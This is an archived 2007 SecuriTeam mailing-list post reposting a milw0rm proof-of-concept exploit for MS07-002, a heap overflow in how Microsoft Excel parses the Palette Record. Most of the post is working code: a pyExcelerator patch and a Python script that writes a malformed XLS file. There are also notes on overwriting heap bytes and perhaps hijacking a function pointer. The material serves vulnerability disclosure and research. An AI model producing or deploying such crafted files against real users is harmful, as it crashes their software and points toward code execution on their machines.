Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [EXPL] Excel Malformed Palette Record Vulnerability DoS POC (MS07-002) |
|---|---|
| Date: | 31 Jan 2007 20:08:45 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Excel Malformed Palette Record Vulnerability DoS POC (MS07-002) ------------------------------------------------------------------------ SUMMARY A vulnerability in Microsoft's Excel program allows attackers to overflow an internal heap by writing a malformed Excel file that contains a bad Palette Record. DETAILS Exploit: """ MS07-002 EXCEL Malformed Palette Record Vulnerability DOS POC ###### Author ###### LifeAsaGeek at gmail.com .. and Microsoft said that vuln credit is for Greg MacManus of iDefense Labs ######################## Vulnerablity Description ######################## Bound error occurs when parsing Palette Record and it causes Heap Overflow check out here - http://picasaweb.google.com/lifeasageek/MS07002/photo?pli=1#5022146178204021506 which is generated by DarunGrim ( and I want to say I'm not a person who made this analyzer ==; ) ############# Attack Vector ############# Arbitrary Data will be overwritten to the heap, but arbitrary data is highly depends on the stack status ! Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere ) In *CERTAIN* environment( such as open excel file which is already opened) you can catch the flow by modify function pointer, but it doesn't have a reliability at all Let me know if you have a good method to break down ###### Result ###### DOS ##### Notes ##### You should modify pyExcelerator module because it doesn't generate Palette Record pyExcelerator diff results would be like below diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\BIFFRecords.py pyExcelerator\BIFFRecords.py 1104a1105,1108
def __init__(self):
BiffRecord.__init__(self)
self._rec_data = pack('<H', 0x0038) # number of colours
self._rec_data += 'A' * 0xe0
diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\Workbook.py pyExcelerator\Workbook.py 468,469c468 < result = '' < return result ---
return BIFFRecords.PaletteRecord().get()
!! THIS IS ONLY FOR EDUCATIONAL PURPOSE !!
- 2007.01.25
"""
import sys, os
from struct import *
from pyExcelerator import *
def CreateXLS():
w = Workbook()
ws = w.add_sheet('MS07-002 POC')
w.save( "before.xls")
def ModifyXLS():
try:
f = open( "before.xls", "rb")
except:
print "File Open Error ! "
sys.exit(0)
str = f.read()
f.close()
#write to malformed xls file
f = open( "after.xls", "wb")
PaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x0038)
NewPaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x01FF)
palette_idx = str.find( PaletteRecord)
if palette_idx == -1:
print "Cannot find Palette Record"
sys.exit(0)
str = str.replace( PaletteRecord, NewPaletteRecord)
f.write( str)
f.close()
if __name__ == "__main__":
print "================================"
print "MS07-002 Malformed Palette Record vulnerability DOS POC "
print "Create POC Excel File after.xls"
print "by LifeAsaGeek at gmail.com"
print "================================"
CreateXLS()
ModifyXLS()
# milw0rm.com [2007-01-25]
ADDITIONAL INFORMATION
The information has been provided by <mailto:LifeAsaGeek@gmail.com>
LifeAsaGeek.
The original article can be found at:
<http://www.milw0rm.com/exploits/3193>
http://www.milw0rm.com/exploits/3193
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [UNIX] Cadre framework_path File Inclusion, SecuriTeam |
|---|---|
| Previous by Thread: | [UNIX] Cadre framework_path File Inclusion, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |